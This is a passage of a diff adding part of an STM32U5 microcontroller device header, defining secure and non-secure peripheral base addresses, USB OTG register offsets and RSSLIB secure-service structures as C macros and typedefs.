0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define I2C5_BASE_S (APB1PERIPH_BASE_S + 0x9800UL) +#define I2C6_BASE_S (APB1PERIPH_BASE_S + 0x9C00UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) +#define GFXTIM_BASE_S (APB2PERIPH_BASE_S + 0x6400UL) +#define LTDC_BASE_S (APB2PERIPH_BASE_S + 0x6800UL) +#define LTDC_Layer1_BASE_S (LTDC_BASE_S + 0x0084UL) +#define LTDC_Layer2_BASE_S (LTDC_BASE_S + 0x0104UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP2_BASE_S (APB3PERIPH_BASE_S + 0x5010UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define COMP2_BASE_S (COMP12_BASE_S + 0x04UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define RAMCFG_SRAM5_BASE_S (RAMCFG_BASE_S + 0x0140UL) +#define RAMCFG_SRAM6_BASE_S (RAMCFG_BASE_S + 0x0180UL) +#define JPEG_BASE_S (AHB1PERIPH_BASE_S + 0x0A000UL) +#define DMA2D_BASE_S (AHB1PERIPH_BASE_S + 0x0B000UL) +#define GFXMMU_BASE_S (AHB1PERIPH_BASE_S + 0x0C000UL) +#define GPU2D_BASE_S (AHB1PERIPH_BASE_S + 0x0F000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define DCACHE2_BASE_S (AHB1PERIPH_BASE_S + 0x11800UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define GTZC_MPCBB5_BASE_S (AHB1PERIPH_BASE_S + 0x13800UL) +#define GTZC_MPCBB6_BASE_S (AHB1PERIPH_BASE_S + 0x13C00UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define GPIOJ_BASE_S (AHB2PERIPH_BASE_S + 0x02400UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_OTG_HS_BASE_S (AHB2PERIPH_BASE_S + 0x20000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define OCTOSPIM_R_BASE_S (AHB2PERIPH_BASE_S + 0xA4000UL) /*!< OCTOSPIM control registers base address */ +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_S (AHB2PERIPH_BASE_S + 0xAF400UL) +#define FMC_R_BASE_S (AHB2PERIPH_BASE_S + 0xB0400UL) /*!< FMC control registers base address */ +#define HSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB3400UL) +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_S (AHB2PERIPH_BASE_S + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1300UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + +/* GFXMMU secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_S (0x34000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0xC00000UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + +/* USB OTG registers Base address */ +#define USB_OTG_GLOBAL_BASE (0x0000UL) +#define USB_OTG_DEVICE_BASE (0x0800UL) +#define USB_OTG_IN_ENDPOINT_BASE (0x0900UL) +#define USB_OTG_OUT_ENDPOINT_BASE (0x0B00UL) +#define USB_OTG_EP_REG_SIZE (0x0020UL) +#define USB_OTG_HOST_BASE (0x0400UL) +#define USB_OTG_HOST_PORT_BASE (0x0440UL) +#define USB_OTG_HOST_CHANNEL_BASE (0x0500UL) +#define USB_OTG_HOST_CHANNEL_SIZE (0x0020UL) +#define USB_OTG_PCGCCTL_BASE (0x0E00UL) +#define USB_OTG_FIFO_BASE (0x1000UL) +#define USB_OTG_FIFO_SIZE (0x1000UL) + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART2_NS ((USART_TypeDef *) USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *) USART6_BASE_NS) +#define I2C5_NS ((I2C_TypeDef *) I2C5_BASE_NS) +#define I2C6_NS ((I2C_TypeDef *) I2C6_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *) UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) +#define LTDC_NS ((LTDC_TypeDef *) LTDC_BASE_NS) +#define LTDC_Layer1_NS ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_NS) +#define LTDC_Layer2_NS ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_NS) +#define GFXTIM_NS ((GFXTIM_TypeDef *) GFXTIM_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP2_NS ((OPAMP_TypeDef *) OPAMP2_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP2_NS ((COMP_TypeDef *) COMP2_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_SRAM5_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_NS) +#define RAMCFG_SRAM6_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM6_BASE_NS) +#define JPEG_NS ((JPEG_TypeDef *) JPEG_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define DMA2D_NS ((DMA2D_TypeDef *) DMA2D_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define DCACHE2_NS ((DCACHE_TypeDef *) DCACHE2_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GTZC_MPCBB5_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_NS) +#define GTZC_MPCBB6_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB6_BASE_NS) +#define GFXMMU_NS ((GFXMMU_TypeDef *) GFXMMU_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define GPIOJ_NS ((GPIO_TypeDef *) GPIOJ_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_OTG_HS_NS ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define DLYB_OCTOSPI2_NS ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_NS) +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define OCTOSPIM_NS ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define OCTOSPI2_NS ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_NS) +#define HSPI1_NS ((HSPI_TypeDef *) HSPI1_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS 